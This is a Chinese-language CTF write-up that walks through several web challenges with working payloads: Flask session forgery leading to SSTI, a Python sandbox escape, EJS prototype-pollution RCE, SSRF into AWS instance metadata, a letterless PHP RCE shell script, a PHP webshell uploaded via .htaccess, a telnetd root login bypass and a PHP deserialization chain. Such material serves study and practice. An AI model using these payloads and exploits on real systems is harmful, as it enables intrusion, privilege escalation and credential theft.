&gt; &gt; 因为出题人的一些笨笨行为，本题容器时不时会出现502和加载缓慢，现已完成修复.jpg
&gt; &gt; 本题的笨笨出题人可能网页上多打了一个}，提交的时候注意一下

dirsearch一下，发现git泄漏，得到源码。

`app.py`中的关键点在于`dashboard`路由，存在明显的**SSTI**：

```python
@app.route(&apos;/dashboard&apos;)
def dashboard():
    if session.get(&apos;role&apos;) == &apos;admin&apos;:

        username = request.args.get(&apos;u&apos;, &apos;Administrator&apos;)
        template = f&quot;&quot;&quot;
        {{% extends &quot;base.html&quot; %}}
        {{% block content %}}
        &lt;div class=&quot;alert alert-success&quot;&gt;
            &lt;h2&gt;欢迎回到管理控制台, {username}!&lt;/h2&gt;
            &lt;p&gt;系统完整性检查：通过&lt;/p&gt;
            &lt;p&gt;Flag 服务状态：待机&lt;/p&gt;
        &lt;/div&gt;
        {{% endblock %}}
        &quot;&quot;&quot;
        return render_template_string(template)
    else:
        return redirect(url_for(&apos;login&apos;))
```

需要session中`role`为`admin`，源码里没有任何关于sesstion设置的代码，但是`secrey_key`使用了：

```python
SECRET_KEY = os.urandom(32)
SECRET_KEY_FALLBACKS = [&quot;This_key_has_been_deprecated_v2023&quot;]
```

`requirements`中提示了flask版本为`3.1.0`，这个版本存在[CVE-2025-47278](https://cve.imfht.com/detail/CVE-2025-47278)，即我们直接使用`SECRET_KEY_FALLBACKS`中的明文密钥即可加密session。

接下来就是session伪造：

```bash
›  flask-unsign --sign --cookie &quot;{&apos;role&apos;: &apos;admin&apos;}&quot; --secret &quot;This_key_has_been_deprecated_v2023&quot;          
eyJyb2xlIjoiYWRtaW4ifQ.aXwXFQ.teQcR-mYuX8gYcIec7oZLzmEkmY
```

使用这个cookie`Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ.aXwXFQ.teQcR-mYuX8gYcIec7oZLzmEkmY`登录到`dashboard`，然后get传入`u={{8*8}}`即可，接下来就是正常的ssti流程。

## PyEditor/猫猫最后的复仇
&gt; 猫猫最近发现了一个在线编辑器，里面似乎有一段没有被正确删除的代码……？

&gt; 这次猫猫长记性了，把多余的代码给移除了。
&gt; 但是猫猫很不服气，他觉得只要把环境变量清空，你们就不可能拿到flag。
&gt; 为此他甚至升级了一下他的AST分析和黑名单替换，ban掉了import。
&gt; 哼哼唧唧！
&gt; 不信你们还能绕过呜呜呜~
&gt; 
&gt; 本题可以看成PyEditor的DLC
&gt; 好消息是依旧存在一种思路可以同时拿到本题和PyEditor的分数
&gt; （也就是相当于PyEditor荣升1100分,IN+难度）
&gt; 坏消息是，真的有人能找到这种思路吗？
&gt; 求求有人写个预期解吧呜呜呜呜

这道题的rev好像是去掉了更难的非预期？反正我同一个解法都秒了，但看官方wp这好像才是预期解？

网页是个python在线运行，考点是**Pyjail**，提供了源码，我们下载下来：

```python
import ast
import subprocess
import tempfile
import os
import time
import threading
from flask import Flask, render_template, request, jsonify
from flask_socketio import SocketIO, emit
import secrets

app = Flask(__name__)
app.config[&apos;SECRET_KEY&apos;] = os.environ.get(&apos;SECRET_KEY&apos;, secrets.token_hex(32))
app.config[&apos;MAX_CONTENT_LENGTH&apos;] = 16 * 1024
socketio = SocketIO(app, cors_allowed_origins=&quot;*&quot;)

active_processes = {}

class PythonRunner:
    
    def __init__(self, code, args=&quot;&quot;):
        self.code = code
        self.args = args
        self.process = None
        self.output = []
        self.running = False
        self.temp_file = None
        self.start_time = None
        
    def validate_code(self):
        try:
            if len(self.code) &gt; int(os.environ.get(&apos;MAX_CODE_SIZE&apos;, 1024)):
                return False, &quot;代码过长&quot;
                
            tree = ast.parse(self.code)
            
            banned_modules = [&apos;os&apos;, &apos;sys&apos;, &apos;subprocess&apos;, &apos;shlex&apos;, &apos;pty&apos;, &apos;popen&apos;, &apos;shutil&apos;, &apos;platform&apos;, &apos;ctypes&apos;, &apos;cffi&apos;, &apos;io&apos;, &apos;importlib&apos;]
            
            banned_functions = [&apos;eval&apos;, &apos;exec&apos;, &apos;compile&apos;, &apos;input&apos;, &apos;__import__&apos;, &apos;open&apos;, &apos;file&apos;, &apos;execfile&apos;, &apos;reload&apos;]
            
            banned_methods = [&apos;system&apos;, &apos;popen&apos;, &apos;spawn&apos;, &apos;execv&apos;, &apos;execl&apos;, &apos;execve&apos;, &apos;execlp&apos;, &apos;execvp&apos;, &apos;chdir&apos;, &apos;kill&apos;, &apos;remove&apos;, &apos;unlink&apos;, &apos;rmdir&apos;, &apos;mkdir&apos;, &apos;makedirs&apos;, &apos;removedirs&apos;, &apos;read&apos;, &apos;write&apos;, &apos;readlines&apos;, &apos;writelines&apos;, &apos;load&apos;, &apos;loads&apos;, &apos;dump&apos;, &apos;dumps&apos;, &apos;get_data&apos;, &apos;get_source&apos;, &apos;get_code&apos;, &apos;load_module&apos;, &apos;exec_module&apos;]
            
            dangerous_attributes = [&apos;__class__&apos;, &apos;__base__&apos;, &apos;__bases__&apos;, &apos;__mro__&apos;, &apos;__subclasses__&apos;, &apos;__globals__&apos;, &apos;__builtins__&apos;, &apos;__getattribute__&apos;, &apos;__getattr__&apos;, &apos;__setattr__&apos;, &apos;__delattr__&apos;, &apos;__call__&apos;]
            
            for node in ast.walk(tree):
                if isinstance(node, ast.Import):
                    for name in node.names:
                        if name.name in banned_modules:
                            return False, f&quot;禁止导入模块: {name.name}&quot;
                        
                elif isinstance(node, ast.ImportFrom):
                    if node.module in banned_modules:
                        return False, f&quot;禁止从模块导入: {node.module}&quot;
                
                elif isinstance(node, ast.Call):
                    if isinstance(node.func, ast.Name):
                        if node.func.id in banned_functions:
                            return False, f&quot;禁止调用函数: {node.func.id}&quot;
                    
                    elif isinstance(node.func, ast.Attribute):
                        if node.func.attr in banned_methods:
                            return False, f&quot;禁止调用方法: {node.func.attr}&quot;
                    
                    elif isinstance(node.func, ast.Name):
                        if node.func.id == &apos;open&apos;:
                            return False, &quot;禁止文件操作&quot;
                
                elif isinstance(node, ast.With):
                    for item in node.items:
                        if isinstance(item.context_expr, ast.Call):
                            if isinstance(item.context_expr.func, ast.Name):
                                if item.context_expr.func.id == &apos;open&apos;:
                                    return False, &quot;禁止文件操作&quot;
                
                elif isinstance(node, ast.Attribute):
                    if node.attr in dangerous_attributes:
                        if isinstance(node.value, ast.Call) or isinstance(node.value, ast.Name):
                            return False, f&quot;禁止访问危险属性: {node.attr}&quot;
                
                elif isinstance(node, ast.Subscript):
                    if isinstance(node.value, ast.Attribute):
                        if node.value.attr == &apos;__subclasses__&apos;:
                            return False, &quot;禁止访问__subclasses__&quot;
            
            return True, &quot;代码验证通过&quot;
            
        except SyntaxError as e:
            return False, f&quot;语法错误: {str(e)}&quot;
        except Exception as e:
            return False, f&quot;验证错误: {str(e)}&quot;
    
    def create_script(self):
        try:
            self.temp_file = tempfile.NamedTemporaryFile(
                mode=&apos;w&apos;, 
                suffix=&apos;.py&apos;, 
                dir=&apos;/tmp&apos;,
                delete=False
            )
            
            wrapper = &quot;&quot;&quot;
import sys

def safe_exec():
    try:
{indented_code}
        return 0
    except SystemExit as e:
        return e.code if isinstance(e.code, int) else 0
    except Exception as e:
        print(f&quot;执行错误: {{e}}&quot;, file=sys.stderr)
        return 1

sys.argv = [&apos;sandbox.py&apos;] + {args}

exit_code = safe_exec()

exit()
# Hey bro, don&apos;t forget to remove this before release!!!
import os
import sys

flag_content = os.environ.get(&apos;GZCTF_FLAG&apos;, &apos;&apos;)
os.environ[&apos;GZCTF_FLAG&apos;] = &apos;&apos;

try:
    with open(&apos;/flag.txt&apos;, &apos;w&apos;) as f:
        f.write(flag_content)
except:
    pass
&quot;&quot;&quot;
            
            indented_code = &apos;\n&apos;.join([&apos;        &apos; + line for line in self.code.split(&apos;\n&apos;)])
            
            full_code = wrapper.format(
                indented_code=indented_code,
                args=str(self.args.split() if self.args else [])
            )
            
            self.temp_file.write(full_code)
            self.temp_file.flush()
            os.chmod(self.temp_file.name, 0o755)
            
            return self.temp_file.name
            
        except Exception as e:
            raise Exception(f&quot;创建脚本失败: {str(e)}&quot;)
    
    def run(self):
        try:
            is_valid, message = self.validate_code()
            if not is_valid:
                self.output.append(f&quot;验证失败: {message}&quot;)
                return False
                
            script_path = self.create_script()
            
            cmd = [&apos;python&apos;, script_path]
            if self.args:
                cmd.extend(self.args.split())
            
            self.process = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                stdin=subprocess.PIPE,
                text=True,
                bufsize=1,
                universal_newlines=True
            )
            
            self.running = True
            self.start_time = time.time()
            
            def read_output():
                while self.process and self.process.poll() is None:
                    try:
                        line = self.process.stdout.readline()
                        if line:
                            self.output.append(line.strip())
                            socketio.emit(&apos;output&apos;, {&apos;data&apos;: line})
                    except:
                        break
                
                stdout, stderr = self.process.communicate()
                if stdout:
                    for line in stdout.split(&apos;\n&apos;):
                        if line.strip():
                            self.output.append(line.strip())
                            socketio.emit(&apos;output&apos;, {&apos;data&apos;: line})
                if stderr:
                    for line in stderr.split(&apos;\n&apos;):
                        if line.strip():
                            self.output.append(f&quot;错误: {line.strip()}&quot;)
                            socketio.emit(&apos;output&apos;, {&apos;data&apos;: f&quot;错误: {line}&quot;})
                
                self.running = False
                socketio.emit(&apos;process_end&apos;, {&apos;pid&apos;: self.process.pid})
            
            thread = threading.Thread(target=read_output)
            thread.daemon = True
            thread.start()
            
            return True
            
        except Exception as e:
            self.output.append(f&quot;运行失败: {str(e)}&quot;)
            return False
    
    def send_input(self, data):
        if self.process and self.process.poll() is None:
            try:
                self.process.stdin.write(data + &apos;\n&apos;)
                self.process.stdin.flush()
                return True
            except:
                return False
        return False
    
    def terminate(self):
        if self.process and self.process.poll() is None:
            self.process.terminate()
            self.process.wait(timeout=5)
            self.running = False
            
            if self.temp_file:
                try:
                    os.unlink(self.temp_file.name)
                except:
                    pass
            return True
        return False

@app.route(&apos;/&apos;)
def index():
    return render_template(&apos;index.html&apos;)

@app.route(&apos;/api/run&apos;, methods=[&apos;POST&apos;])
def run_code():
    data = request.json
    code = data.get(&apos;code&apos;, &apos;&apos;)
    args = data.get(&apos;args&apos;, &apos;&apos;)
    
    runner = PythonRunner(code, args)
    
    pid = secrets.token_hex(8)
    active_processes[pid] = runner
    
    success = runner.run()
    
    if success:
        return jsonify({
            &apos;success&apos;: True,
            &apos;pid&apos;: pid,
            &apos;message&apos;: &apos;进程已启动&apos;
        })
    else:
        return jsonify({
            &apos;success&apos;: False,
            &apos;message&apos;: &apos;启动失败&apos;
        })

@app.route(&apos;/api/terminate&apos;, methods=[&apos;POST&apos;])
def terminate_process():
    data = request.json
    pid = data.get(&apos;pid&apos;)
    
    if pid in active_processes:
        active_processes[pid].terminate()
        del active_processes[pid]
        return jsonify({&apos;success&apos;: True})
    
    return jsonify({&apos;success&apos;: False, &apos;message&apos;: &apos;进程不存在&apos;})

@app.route(&apos;/api/send_input&apos;, methods=[&apos;POST&apos;])
def send_input():
    data = request.json
    pid = data.get(&apos;pid&apos;)
    input_data = data.get(&apos;input&apos;, &apos;&apos;)
    
    if pid in active_processes:
        success = active_processes[pid].send_input(input_data)
        return jsonify({&apos;success&apos;: success})
    
    return jsonify({&apos;success&apos;: False})

@socketio.on(&apos;connect&apos;)
def handle_connect():
    emit(&apos;connected&apos;, {&apos;data&apos;: &apos;Connected&apos;})

@socketio.on(&apos;disconnect&apos;)
def handle_disconnect():
    pass

if __name__ == &apos;__main__&apos;:
    socketio.run(app, host=&apos;0.0.0.0&apos;, port=5000, debug=False, allow_unsafe_werkzeug=True)
```

### 解

题目的沙箱十分严格，我们看到关键代码：

122行直接给出了环境变量里的flag键名，274行往下的`/api/send_input`路由能直接向一个正在运行的进程提供输入
```python
flag_content = os.environ.get(&apos;GZCTF_FLAG&apos;, &apos;&apos;)
```

```python
@app.route(&apos;/api/send_input&apos;, methods=[&apos;POST&apos;])
def send_input():
    data = request.json
    pid = data.get(&apos;pid&apos;)
    input_data = data.get(&apos;input&apos;, &apos;&apos;)
    
    if pid in active_processes:
        success = active_processes[pid].send_input(input_data)
        return jsonify({&apos;success&apos;: success})
    
    return jsonify({&apos;success&apos;: False})
```

所以这道题就很明了了，就是一个交互型的pyjail。

我们在网页里输入代码`breakpoint()`阻塞程序同时等待输入，直接在页面上得到pid，在`/api/send_input`就能任意输入了：

```json
{
    &quot;pid&quot;: &quot;aadb4de77e79efae&quot;,
    &quot;input&quot;: &quot;__import__(&apos;os&apos;).environ.get(&apos;GZCTF_FLAG&apos;, &apos;&apos;)&quot;
}
```

### 官方其他解

1. `Python3.14`中`breakpoint()`支持了一个新参数`commands`，允许传入断点后执行的命令，所以我们先next三次从`safe_exec()`返回，在jump到第20行的`import os`，然后next三次读进`flag_content`变量，最后`p flag_content`即可：

    ```python
    breakpoint(commands = [&apos;n&apos;] * 3 + [&apos;j 20&apos;] + [&apos;n&apos;] * 3 + [&apos;p flag_content&apos;])
    ```

2. 
    ```python
    print(sys.modules[&apos;os&apos;].environ[&apos;GZCTF_FLAG&apos;])
    ```

3. 
    ```python
    try:
        &quot;&quot;/5
    except Exception as e:
        b = e.__traceback__.tb_frame.f_back.f_globals[&quot;__builtins__&quot;]
        os_mod = b.__import__(&apos;os&apos;)
        print(os_mod.environ.get(&apos;GZCTF_FLAG&apos;, &apos;&apos;))
    ```


    `&quot;&quot;/5`：故意触发`TypeError`，进入`except`

    `e.__traceback__.tb_frame.f_back.f_globals[&quot;__builtins__&quot;]`：从调用者帧的全局变量中取出`__builtins__`

## 下一代有下一代的问题

考的是CVE-2025-55182，就是ciscn一模一样的，直接拿现成的poc打。

[zzhorc/CVE-2025-55182: CVE-2025-55182复现环境及RCE回显poc](https://github.com/zzhorc/CVE-2025-55182)

## ezmd5

经典数组绕过，简单

## 贪吃Python

&gt; 我要成为贪吃Python高手！
&gt; Cr9flm1nd：（敲）你先给我把这个merge修了！
&gt; gongyizhen：（抱头）呜呜呜，就不修就不修，这个merge明明工作的好好的……
&gt; Cr9flm1nd：
&gt; ```js
&gt; const obj1 = { a: 1 };
&gt; const obj2 = { b: obj1 };
&gt; obj1.c = obj2; 
&gt; 
&gt; merge({}, obj1);
&gt; ```
&gt; RangeError，你管这叫好好的？（敲敲敲）
&gt; &gt; 温馨提示，本题没有爆破流程，请不要攻击平台，违者取消比赛资格

比较特殊的**原型链污染**。

打开网页，是个在线的贪吃蛇小游戏，与python没有任何关系，查看源码，看到仙家对话：
```html
&lt;!-- -&quot;你是不是应该在/admin加一个&apos;忘记密码&apos;?&quot; --&gt;
&lt;!-- -&quot;你不会真忘记密码了吧?这么简单的密码都能忘记?&quot;--&gt;
&lt;!-- -&quot;快告诉我密码，我要去/admin/dashboard修改分数，成为贪吃Python村赛冠军!&quot;--&gt;
&lt;!-- -&quot;不行，这次村赛公平公正，你就算进去/admin/dashboard也改不了分数&quot;--&gt;
&lt;!-- -&quot;?你的意思是,那个99999分是人打出来的?&quot;--&gt;
&lt;!-- -&quot;一码归一码&quot;--&gt; 
```

`/admin`路由通过`&apos; or &apos;1&apos;=1&apos;`万能密码即可登录，但是显示还需要物理令牌辅助多端认证才能登录到管理员，(随便搞的打发打发你)，下面还给出了服务器运行日志：

```bash
[SYSTEM_DIAGNOSTIC_DUMP_v3.1]
&gt; Initializing environment checks...
&gt; WORKDIR: /app [OK]
&gt; NODE_ENV: production
&gt; MOUNT_POINT: /app/public (Static Assets) [RW]
&gt; Checking security modules...
&gt; SUID Helper Found: /readflag (Permissions: 4755)
&gt; WARNING: /flag file is protected (Mode: 0400). Root access required.
&gt; MFA_MODULE: Not Loaded.
&gt; SESSION_ID: a9mt9s
```

这就比较重要了，它直接表明了：
- `NODE_ENV: production`：后端是**Node.js**
- `SUID Helper Found: /readflag`：服务器根目录上存在程序**readflag**，显然是要RCE运行以得到flag
- `MOUNT_POINT: /app/public`：典型的Express目录结构，即网页使用了**Express框架**

我们回去玩一遍贪吃蛇，同时抓包，游戏结束后，我们抓到`socket.io`的数据包：

```json
42[&quot;game_over&quot;,{&quot;score&quot;:0,&quot;config&quot;:{&quot;theme&quot;:&quot;dark_mode&quot;,&quot;timestamp&quot;:1769944494720}}]
```

之前查看源码时就发现了，小游戏的源码是纯前端的明文js，但是与服务的通信使用了一个混淆过的js代码`./js/dataReport.js`，

这段恼人代码我不得不骂一下，它反调试反审计，检测到代码中有换行符就直接`about:blank`，还有``_0xb03[&apos;setInterval&apos;](function() { debugger; }, 683277 ^ 683271);``，无限断点。

虽然都比较好规避，但就是烦。

回到之前的socket.io数据包，显然，这就是原型链污染的注入点了，接下来就是常规的污染`ejs`模板的`outputFunctionName`，替换掉原来的包：

```json
42[&quot;game_over&quot;,{&quot;score&quot;:0,&quot;config&quot;:{&quot;__proto__&quot;:{&quot;outputFunctionName&quot;:&quot;_;return global.process.mainModule.require(&apos;child_process&apos;).execSync(&apos;/readflag&apos;).toString();_&quot;}}}]
```

接下里回到`/admin/dashboard`，这里使用到了ejs模板，被污染之后就能返回shell结果了。

## CCPreview

&gt; 为了测试内网服务的连通性，【数据删除】开发组上线了一个简单的网页预览工具。  
&gt; 据说该服务部署在 AWS 也就是亚马逊云服务上，属于EC2实例……  
&gt; 虽然它看起来只是一个简单的 curl 代理.jpg  
&gt; “话说，咱们就这么部署在这里，真的没问题吗……”  
&gt; “怕啥，这就一个curl，能有什么漏洞？”

[AWS 端点信息泄露](https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/instance-metadata-security-credentials.html)

考点是**SSRF**和**AWS EC2 元数据服务**。


1. 网页是一个部署在**AWS EC2**上的**curl 代理**。尝试注入`http://127.0.0.1&quot; ; ls ; &quot;`，得到报错`Failed to resolve &apos;127.0.0.1%22%20;%20ls%20;%20%22&apos;`。这说明服务器对全部的输入作为**域名**进行了解析，而不是直接拼接到了命令行中。因此，命令注入行不通。

2.  **AWS 元数据服务**：这是本题的核心考点。AWS EC2 实例默认运行着一个元数据服务（IMDS），用于获取实例的配置信息。这个服务运行在实例内部的固定 IP 地址上。
    *   **旧版 IMDSv1**：通过 `http://169.254.169.254/latest/meta-data/` 访问。
    *   **新版 IMDSv2**：需要先放置 token 才能访问， CTF 题目中，一般默认使用 IMDSv1 或者题目环境未强制开启 IMDSv2。

尝试访问 AWS 元数据服务的根路径：`http://169.254.169.254/latest/meta-data/`，得到：
```
iam/
network/
public-hostname/
```

接着访问 `iam/security-credentials/admin-role`：`iam`安全凭证目录下的`security-credentials`角色，下的角色`admin-role`，得到如下json：

```json
{
    &apos;Code&apos;: &apos;Success&apos;,
    &apos;Type&apos;: &apos;AWS-HMAC&apos;,
    &apos;AccessKeyId&apos;: &apos;AKIA_ADMIN_USER_CLOUD&apos;,
    &apos;SecretAccessKey&apos;: &apos;POFP{42dce9eb-ed08-42c4-819e-1622c61fcbdf}&apos;,
    &apos;Token&apos;: &apos;MwZNCNz... (Simulation Token)&apos;,
    &apos;Expiration&apos;: &apos;2099-01-01T00:00:00Z&apos;
}
```

## 命令终端

&gt; 听说这个终端的admin是个极简主义者。  
&gt; 他和其他的量产型admin一样，先是在门口设了一道关卡，但密码似乎设得很随性（qwe@123）。  
&gt; 然后是里面的终端——它似乎听不得任何人类的语言。  
&gt; 嗯，毕竟，它只是一个终端。  
&gt; 在一片死寂的虚空中，或许只有你，能让代码在数据世界里默默消融……

登录后台，爆破找到源码：
```php
&lt;?php
session_start();
if (empty($_SESSION[&apos;user_id&apos;]) || !is_int($_SESSION[&apos;user_id&apos;])) {
    header(&apos;Location: ../index.php&apos;, true, 302);
    exit;
}
$output = &quot;&quot;;
if (isset($_POST[&apos;cmd&apos;])) {
    $code = $_POST[&apos;cmd&apos;];
    if(strlen($code) &gt; 200) {
        $output = &quot;略略略，这么长还想执行命令？&quot;;
    } 
    else if(preg_match(&apos;/[a-z0-9$_\.&quot;`\s]/i&apos;, $code)) {
        $output = &quot;啊哦，你的命令被防火墙吃了\n&amp;ensp;&amp;ensp;&amp;ensp;&amp;ensp;&amp;ensp;&amp;ensp;&amp;ensp;&amp;ensp;&amp;ensp;&amp;ensp;&amp;ensp;来自waf的消息：杂鱼黑客，就这样还想执行命令？&quot;;
    } 
    else {
        ob_start();
        try {
            eval($code);
        } catch (Throwable $t) {
            echo &quot;Execution Error.&quot;;
        }
        $output = ob_get_clean();
    }
}
```

过滤为``/[a-z0-9$_\.&quot;`\s]/i``，考点是无字母rce，直接使用异或构造出，用以前的脚本梭了：

```python
import requests
import re

URL: str = &quot;http://ctf.furryctf.com:35885&quot; 
COOKIES: dict[str, str] = {
    &quot;PHPSESSID&quot;: &quot;57f06e80be3683eb6a543ad852352fc6&quot;
}

def xor_encode(string: str):
    encoded: str = &quot;&quot;
    for char in string:
        inverted = ~ord(char) &amp; 0xFF
        encoded += &quot;%&quot; + hex(inverted)[2:].upper()
    return encoded

def send_cmd(cmd: str):
    enc_func: str = xor_encode(&quot;system&quot;)
    enc_arg: str = xor_encode(cmd)
    
    response = requests.post(
        URL + &quot;/main/index.php&quot;,
        headers={ &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot; },
        data=f&quot;cmd=(~{enc_func})(~{enc_arg});&quot;,
        cookies=COOKIES
    )
    match = re.search(r&apos;命令输出:&lt;/strong&gt;&lt;br&gt;(.*?)&lt;/div&gt;&apos;, response.text, re.S)
    print(f&quot;{match.group(1).strip()}&quot;)

if __name__ == &quot;__main__&quot;:
    while True:
        cmd: str = input(&quot;Shell&gt; &quot;)
        send_cmd(cmd)
```

## SSO Drive

&gt; 身为红队的你发现，自己渗透的蓝方目标中似乎刚刚上线了一个新的目标：内部云盘。  
&gt; 大概是蓝方的安全团队确信他们已经修复了所有逻辑漏洞，这里已经不会出问题了。  
&gt; 而且，看起来他们为了以防万一，部署了一套极为严格的文件上传审查策略。  
&gt; 也正是如此，他们才敢如此大胆的就把这个云盘暴露出来。
&gt; 
&gt; 好在，通过对其他资产目标的社工，你得知了这样两个情报：
&gt;
&gt; 1.负责认证模块的开发小哥有着随手备份源码的好习惯，虽然从蓝方聊天平台泄露出来的消息来看，他似乎发誓说新的密码校验逻辑是无懈可击的？  
&gt; 2.蓝方运维团队泄露的内部公告指出，为了兼容旧系统，他们不得不在服务器后台运行了一个陈旧服务用于内部远程管理。

登录页直接数组绕过就行了，跳转到文件上传页，页面页提示了有`telnet`服务运行在`23`端口，文件上传允许`.htaccess`，但也要检验图片头，所以使用xbm文件头绕过

```bash title=.htaccess
#define width 1
#define height 1
AddType application/x-httpd-php jpg
```

```bash
Upload Successful!
Path: uploads/.htaccess
Image Type: image/xbm
```

然后就能上传图片马，因为过滤php长标签，所以短标签绕过：

```php
GIF89a
&lt;?=`$_GET[cmd]`?&gt;
```

在根目录看到了`start.sh`：

```bash
#!/bin/bash

service mariadb start

mysql -u root -e &quot;CREATE DATABASE IF NOT EXISTS ctf_db;&quot;
mysql -u root -e &quot;CREATE USER IF NOT EXISTS &apos;ctf&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;ctf&apos;;&quot;
mysql -u root -e &quot;GRANT ALL PRIVILEGES ON ctf_db.* TO &apos;ctf&apos;@&apos;localhost&apos;;&quot;
mysql -u root -e &quot;FLUSH PRIVILEGES;&quot;

if [ -f /var/www/html/db.sql ]; then
    mysql -u root ctf_db &lt; /var/www/html/db.sql
fi

if [ ! -z &quot;$GZCTF_FLAG&quot; ]; then
    LEN=${#GZCTF_FLAG}
    PART_LEN=$((LEN / 3))
    FLAG1=${GZCTF_FLAG:0:$PART_LEN}
    FLAG2=${GZCTF_FLAG:$PART_LEN:$PART_LEN}
    FLAG3=${GZCTF_FLAG:$((PART_LEN * 2))}
    
    echo $FLAG1 &gt; /flag1
    chmod 644 /flag1
    
    echo $FLAG2 &gt; /var/www/html/.flag2_hidden
    chmod 644 /var/www/html/.flag2_hidden
    
    echo $FLAG3 &gt; /root/flag3
    chmod 600 /root/flag3
    
    export GZCTF_FLAG=not_here
fi

/usr/sbin/xinetd -stayalive -pidfile /var/run/xinetd.pid
exec apache2-foreground

```

flag前2/3直接读就行了，最后1/3就是telnet的考点，是一个CVE：`CVE-2026-24061`，我们先读`/etc/xinetd.d/telnet`

```bash
service telnet
{
    disable = no
    flags = REUSE
    socket_type = stream
    wait = no
    user = root
    server = /usr/local/libexec/telnetd
    server_args = --debug
    log_on_failure += USERID
    bind = 0.0.0.0
    type = UNLISTED
    port = 23
}
```

看到user为root，就说明能够用来提权，执行：

```bash
(sleep 1; echo &quot;cat /root/flag3&quot;; sleep 1; echo &quot;exit&quot;) | env USER=&quot;-f root&quot; telnet -a 127.0.0.1 23
```

这里睡一秒等待建立链接，再睡一秒然后退出才能成功执行，`env USER=&quot;-f root&quot;`这里就是这次CVE的核心了,得到响应就是flag了：

```bash
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is &apos;^]&apos;.

Linux 5.10.0-35-cloud-amd64 (c1a4919c6f9b) (pts/0)
Linux c1a4919c6f9b 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Mon Feb 2 16:13:18 UTC 2026 from localhost on pts/0
root@c1a4919c6f9b:~# cat /root/flag3
-5d32927098fa}
root@c1a4919c6f9b:~#
```

## babypop

经典**POP链构造**，不过还有一点小巧思

```php
&lt;?php
error_reporting(0);
highlight_file(__FILE__);
class SecurityProvider {
    private $token;
    public function __construct() {
        $this-&gt;token = md5(uniqid());
    }
    public function verify($data) {
        if (strpos($data, &apos;..&apos;) !== false) {
            die(&quot;Attack Detected&quot;);
        }
        return $data;
    }
}
class LogService {
    protected $handler;
    protected $formatter;
    
    public function __construct($handler = null) {
        $this-&gt;handler = $handler;
        $this-&gt;formatter = new DateFormatter();
    }

    public function __destruct() {
        if ($this-&gt;handler &amp;&amp; method_exists($this-&gt;handler, &apos;close&apos;)) {
            $this-&gt;handler-&gt;close();
        }
    }
}
class FileStream {
    private $path;
    private $mode;
    public $content; 
    public function __construct($path, $mode) {
        $this-&gt;path = $path;
        $this-&gt;mode = $mode;
    }
    public function close() {
        if ($this-&gt;mode === &apos;debug&apos; &amp;&amp; !empty($this-&gt;content)) {
            $cmd = $this-&gt;content;
            if (strlen($cmd) &lt; 2) return;
            @eval($cmd);
        } else {
            return true;
        }
    }
}
class DateFormatter {
    public function format($timestamp) {
        return date(&apos;Y-m-d H:i:s&apos;, $timestamp);
    }
}
class UserProfile {
    public $username;
    public $bio;
    public $preference; 

    public function __construct($u, $b) {
        $this-&gt;username = $u;
        $this-&gt;bio = $b;
        $this-&gt;preference = new DateFormatter();
    }
}
class DataSanitizer {
    public static function clean($input) {
        return str_replace(&quot;hacker&quot;, &quot;&quot;, $input);
    }
}
$raw_user = $_POST[&apos;user&apos;] ?? null;
$raw_bio = $_POST[&apos;bio&apos;] ?? null;
if ($raw_user &amp;&amp; $raw_bio) {
    $sec = new SecurityProvider();
    $sec-&gt;verify($raw_user);
    $sec-&gt;verify($raw_bio);
    $profile = new UserProfile($raw_user, $raw_bio);
    $data = serialize($profile);
    if (strlen($data) &gt; 4096) {
        die(&quot;Data too long&quot;);
    }
    $safe_data = DataSanitizer::clean($data);
    $unserialized = unserialize($safe_data);
    if ($unserialized instanceof UserProfile) {
        echo &quot;Profile loaded for &quot; . htmlspecialchars($unserialized-&gt;username);
    }
}
?&gt;
```

这道题的链子不难构造：`LogService::__destruct -&gt; FileStream::close()`，难的是我们的输入并不会被直接反序列化，而是作为字符串值转递给`UserProfile::user`和`UserProfile::bio`，然后再被序列化反序列化，关键点就在这里的序列化之后会应用`DataSanitizer::clean()`导致序列化对象变短，而序列化本身每个参数的长度标记是不会变的，我们就可以利用这个特性构造特定长度`hacker`重复串刚好吞掉`&quot;;s:3:&quot;bio&quot;;s:M:&quot;`作为代替`username`作为参数名，而之后的字符串就荣升为对象了。

原来的序列化对象，我们苦心构造的payload竟然只是字符串：

```php &quot;hackerhackerhackerhacker&quot; &quot;-----&quot;;s:10:&quot;preference&quot;;O:10:&quot;LogService&quot;:2:{s:7:&quot;handler&quot;;O:10:&quot;FileStream&quot;:3:{s:4:&quot;path&quot;;s:0:&quot;&quot;;s:4:&quot;mode&quot;;s:5:&quot;debug&quot;;s:7:&quot;content&quot;;s:10:&quot;phpinfo();&quot;;}s:9:&quot;formatter&quot;;N;}}&quot;
O:11:&quot;UserProfile&quot;:3:{
    s:8:&quot;username&quot;;s:24:&quot;hackerhackerhackerhacker&quot;;
    s:3:&quot;bio&quot;;s:175:&quot;-----&quot;;s:10:&quot;preference&quot;;O:10:&quot;LogService&quot;:2:{s:7:&quot;handler&quot;;O:10:&quot;FileStream&quot;:3:{s:4:&quot;path&quot;;s:0:&quot;&quot;;s:4:&quot;mode&quot;;s:5:&quot;debug&quot;;s:7:&quot;content&quot;;s:10:&quot;phpinfo();&quot;;}s:9:&quot;formatter&quot;;N;}}&quot;;
    s:10:&quot;preference&quot;;O:13:&quot;DateFormatter&quot;:0:{}
} 
```

而删去`hackerhackerhackerhacker`之后，我们的字符串就荣升对象了：

```php &quot;&quot;;s:3:&quot;bio&quot;;s:175:&quot;-----&quot;
O:11:&quot;UserProfile&quot;:3:{
    s:8:&quot;username&quot;;s:24:&quot;&quot;;s:3:&quot;bio&quot;;s:175:&quot;-----&quot;;
    s:10:&quot;preference&quot;;O:10:&quot;LogService&quot;:2:{
        s:7:&quot;handler&quot;;O:10:&quot;FileStream&quot;:3:{
            s:4:&quot;path&quot;;s:0:&quot;&quot;;
            s:4:&quot;mode&quot;;s:5:&quot;debug&quot;;
            s:7:&quot;content&quot;;s:10:&quot;phpinfo();&quot;;
        }
